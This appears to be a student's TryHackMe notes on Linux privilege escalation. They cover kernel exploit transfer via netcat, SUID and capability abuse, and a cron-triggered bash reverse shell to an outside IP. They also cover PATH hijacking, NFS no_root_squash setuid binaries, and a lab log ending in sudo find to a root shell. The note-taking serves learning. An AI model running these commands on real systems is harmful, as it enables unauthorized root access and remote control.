linux privilege

tags: tryhackme privilege

• linux privilege
• Kernel Privilege
• Sudo
• SUID
  • Permission Bypass
  • Capability
    • find
  • Cron
  • $PATH
    • $PATH writable
  • NFS (Network File Share)
  • Challenge
    • Gathing the systems information
    • Sudo
    • SUID
    • Corntab
    • Target
  • Sudo -l (missy)

Kernel Privilege

Target INFO

systems info

---

our machine

nc -lvnp 443 -k < ovf.c

Victim

cd /var/tmp
nc 10.17.11.72 443 > ovf.c
gcc ovf.c -o ovf 
./ovf

whoami

find / -name flag.txt 

cat flag.txt 

Sudo

Leverage Application

https://gtfobins.github.io/

---

It can be used to break out from restricted environments by spawning an interactive system shell.

---

SUID

Problem

Permission Bypass

Find the special privilege of configuration file. (SUID) "s"

find / -type f -perm -04000 -ls 2>/dev/null

---

Capability

find

getcap -r / 2>/dev/null

:py3 
import os
os.setuid(0)
os.execl("/bin/sh", "sh", "-c", "reset; exec sh") 
#執行 "/bin/sh" 這個程式，並傳入 "sh" 和 "-c" 參數，以及字串 "reset; exec sh"。

uid 0 -> root

execute /bin/sh

command:
sh -c reset // reset the terminal
sh -c exec sh //open new shell

---

./vim -c ':py3 import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'

---

Cron

cat /etc/crontab

vim backup.sh
chomd -x backup.sh

bash shell

bash -l >& /dev/tcp/10.10.10.10/6666 0>&1

---

---

$PATH

$PATH writable

root file

#include<unistd.h>
void main(){
setuid(0);
setgid(0);
system("thm");
}

cd /tmp
echo "/bin/bash" > thm
./rootfile

NFS (Network File Share)

vulnerability options -> "no_root_squash"

Display the target share file path

showmount --export 10.0.0.12

Show the NFS server's export list.

Using the share file directory

mount -o rw 10.0.0.12:/tmp /ourmachine/directory

-o optionslist

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main (void){
setuid(0);
setgid(0);
system("bin/bash");
return 0;
}

gcc code.c -o code -w 
chmod +s code    //set Suid 

---

Challenge

[leonard@ip-10-10-42-180 ~]$ uname -a
Linux
ip-10-10-42-180
3.10.0-1160.el7.x86_64 //kernel version
#1 SMP Mon Oct 19 16:18:59 UTC 2020 x86_64 x86_64
x86_64 GNU/Linux

Gathing the systems information

Testing kernel

no vulnerability

---

Sudo

NO sudo privilege

SUID

Using john to crack the root password

Burp the password failed.

Corntab

Target

We could try to find user Missy and Rootflag.

Not Missy and Rootflag users

Missy password -> Password1

Sudo -l (missy)

we could use find commend to privilege escalation

sudo find . -exec /bin/sh \; -quit

flag 1

flag 2